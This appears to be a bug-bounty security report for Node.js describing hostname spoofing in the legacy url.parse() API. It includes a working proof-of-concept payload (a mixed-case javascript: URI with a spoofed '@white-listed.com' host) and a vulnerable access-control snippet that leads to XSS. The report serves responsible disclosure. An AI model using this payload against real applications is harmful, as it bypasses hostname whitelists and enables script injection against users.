Node.js · Report #395845
url.parse() hostname spoofing via javascript: URIs
How it was found
Summary:
Using url.parse() in security sensitive checks is dangerous as an arbitrary hostname can be spoofed via javascript: URIs.
Description:
The original url.parse() API is dangerous as it allows to spoof an arbitrary hostname via a javascript: URI:
$ node -e 'console.log(require("url").parse("javAscript:alert(1);a=\[email protected]\x27"))'
Url {
protocol: 'javascript:',
slashes: null,
auth: 'alert(1);a=\'',
host: 'white-listed.com',
port: null,
hostname: 'white-listed.com',
hash: null,
search: null,
query: null,
pathname: '\'',
path: '\'',
href: 'javascript:alert(1)%3Ba%3D\'@white-listed.com\'' }
Steps To Reproduce:
node -e 'console.log(require("url").parse("javAscript:alert(1);a=\[email protected]\x27"))'
After a quick look, I believe the issue stems from case-sensitive checks on lines 268 and 275
Additional notes:
I didn't set the severity as I have no idea how widely the "Legacy API" is still used and the actual impact is hugely context-based. For the sake of completeness, I found this issue when testing a real world app.
This also affects this npm package. The WHATWG API handles this particular case well.
In might be a good idea to mention in the documentation that URL parsing shouldn't be relied on in security relevant context. Exact string matching or similarly simple concepts should be always preferred.
Impact
This can be dangerous if used in security relevant access controls as follows:
let parsedUrl = UrlHelper.parse(url); // url = javAscript:alert(1);a='@localhost/'
if (parsedUrl.hostname === 'localhost') { // parsedUrl.hostname = localhost
return true; // and do something like window.location = url
}
Although being a bad practice, developers will write this code and will introduce bypassable access controls. Given that the bypass works only with javascript: URIs this will likely lead to XSS in most cases.